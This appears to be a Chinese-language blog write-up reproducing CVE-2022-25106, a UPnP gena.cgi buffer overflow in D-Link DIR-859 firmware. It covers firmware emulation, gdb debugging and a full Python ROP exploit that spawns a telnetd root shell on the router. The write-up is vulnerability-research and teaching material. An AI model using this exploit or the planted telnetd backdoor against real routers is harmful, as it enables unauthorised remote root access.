通过Fap进行upnp漏洞分析之CVE-2022-25106

固件安全
2022-08-05 19:03
68077

CVE-2022-25106
根据cve公告确定其存在漏洞的固件版本为DIR-859 v1.05
https://github.com/nivrrex/dlink-dir859-gpl/releases/tag/V1.05b06.01

模拟固件

添加gdbserver与busybox

在 firmware-analysis-plus/firmadyne/scripts/makeImage.sh 脚本中新增以下内容

mkdir "${IMAGE_DIR}/firmadyne/userSpace/"
cp "${SCRIPT_DIR}/userSpace/busybox-mips" "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
cp "${SCRIPT_DIR}/userSpace/gdbserver-mips" "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
#cp "${IMAGE_DIR}/firmadyne/userSpace/*" "${IMAGE_DIR}/bin/"
echo "/firmadyne/userSpace/busybox-mips telnetd -p 23 -l /bin/sh &" >> "${IMAGE_DIR}/etc/init0.d/rcS"

上面最好安照文件中的格式来编写,否则可能会影响firmadyne的启动

再将busybox 和 gdbserver拷贝进去

[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/Busybox/busybox-mips ./userSpace
[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/GdbServer/gdbserver-mips ./userSpace

添加gdbserver与busybox方法2

或者也可以尝试先将固件解包,把busybox-mips、gdbserver放到bin文件夹中
busybox-mips telnetd -p 23 -l /bin/sh &
加入到固件的/etc/init.d/rcS中后,最后在把文件系统压缩

❯ tar -czvf dir859.tar.gz _DIR859_FW105b06_lape.bin.extracted

Fap启动固件

❯ ./fap.py -q ./qemu-builds/2.5.0/qemu-system-mips  ~/DA1SY-Mac/Study/Iot/Mips/Firmware/DIR859/DIR859_FW105b06_lape.bin


能加载出网口IP就算成功
启动完成后就可以直接telnet 连接进一步调试了,另外需要在调试前关掉aslr
echo 0 > /proc/sys/kernel/randomize_va_space

或者还可以通过rinetd进行端口转发,方便物理机测试

UPnP协议

upnp协议主要用于在网络中广播upnp主体设备的存在及通信,其结构主要包含了设备之间、控制点之间、设备和控制点之间的通信,是一种极具TCP/IP、UDP、HTTP的分布式、开放体系。当支持UPnp的设备开启该功能时,程序将自动向NAT设备发出端口映射的请求,并为其设备分配端口进行映射。

基础的请求消息格式

M-SEARCH * HTTP/1.1 
S:uuid:ijklmnop-7dec-11d0-a765-00a0c91e6bf6 
Host:239.255.255.250:1900 
Man:"ssdp:discover"ST:ge:fridge 
MX:3 

通过upnp-hack工具来对网络的upnp设备进行发现
https://github.com/dhishan/UPnP-Hack
使用upnpy工具对 upnp设备所提供的描述文档中的接口进行fuzz测试。
https://github.com/5kyc0d3r/upnpy

漏洞复现

漏洞分析

根据漏洞的描述可得知其位于cgibin文件中的genacgi_main函数中,通过ida打开查找相关函数,可以直观的看到v31变量的大小,且向v31传入的字符串相关变量又未对其进行限制,因此导致我门可以通过后面三个参数中的任意一个变量进行溢出

对于构造我们想要的request uri来说
首先v23变量即 SERVER_ID参数的值并非来自我们发送的url请求中,因此主要还是要靠后面的v21、v22来实现溢出
具体如何控制也很简单,只需要我们向UNSUBSCRIBE 发送url请求,通过“?service=” 既可控制SERVICE、SID后面跟上任意值既可

此时发送数据进行测试可以看到已经对程序造成缓冲区溢出

动态调试

接下来就可以通过gdb动态调试,由于cgibin在加载完后便会直接退出,直接使用gdbserver将无法准确的加载进程到gdbserver上,但可以通过下面方法来动调
在qemu中创建debug.sh脚本,来让gdbserver循环加载可能要出现的gena.cgi(其实指向cgibin文件)进程号

echo "while :; do gdbserver-mips :9999 --attach $(busybox-mips pidof gena.cgi) ; done" > debug.sh 
chmod a+x ./debug.sh
./debug.sh


然后就是正常的启动gdb-multiarch加载cgibin,并提前在问题函数genacgi_main地址上下断点

❯ gdb-multiarch htdocs/cgibin
pwndbg> set architecture mips
pwndbg> set endian big
pwndbg> b *0x00410594
pwndbg> target remote 192.168.0.1:9999

随后迅速运行exploit就可以成功在gdb中加载cgibin了

得到缓冲区大小,即474个字符即可控制程序pc寄存器
EXP编写
随后的exp编写就很明确了,通过mipsrop找到所需要的gadget,执行流程如下
$pc -> gadget1(控制$ra) -> $ra( gadget2) -> gadget2(通过$s2设置$a0寄存器) -> $t9(即$s0传入system函数)
mipsrop.find("add $s0") 查找

mipsrop.stackfinders() 查找

需要注意的是我这里是用了service和SID两个变量的参数用来编写exp

from pwn import *
from socket import *
from os import *
context.arch = "mips"
context.endian = "big"

def exp(ip,port,payload,payload2):
        data = "UNSUBSCRIBE /gena.cgi?service=%s HTTP/1.0\n"%payload
        data += "Host: %s:%s\n"%(ip,port)
        data += "SID: %s\n\n"%payload2
        con = socket(AF_INET, SOCK_STREAM)
        con.connect((gethostbyname(ip), int(port)))
        con.send(data)

if __name__ == '__main__':
        ip = "192.168.0.1"
        port = "49152"

        libc_base = 0x2aaf9000
        system_addr = libc_base+0x000512D0
        gadget1 = libc_base + 0x00041254
        # 0x00041254  |  addiu $s0,1  |  jr    0x30+var_4($sp)      |
        gadget2 = libc_base + 0x159e8
        # 0x000159E8  |  addiu $s2,$sp,0x2A8+var_290  |  jalr  $s0      |  jr    0x50+var_4($sp)     |  jr    0x30+var_4($sp)                 |

        success("%x",gadget1)
        payload = 'a'*(474)

        payload += p32(gadget1)
        payload2 = p32(system_addr)       #s0
        payload2 += "baaa"                #s1
        payload2 += p32(0x7fff6a9c+4)     #s2   cmd_str
        payload2 += "daaa"                #s3
        payload2 += "eaaa"                #s4
        payload2 += p32(gadget2)          #$ra 
        payload2 += "gaaahaaaiaaajaaakaaalaaa"
        payload2 += "/bin/busybox-mips telnetd -p 4445 -l /bin/sh;"

        exp(ip,port,payload,payload2)
        system("telnet 192.168.0.1 4445")



分享到

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
waterfire的头像
可以很强
2022-08-31 16:51
s3cana的头像
学习了
2022-08-22 12:45
投稿
签到
联系我们
关于我们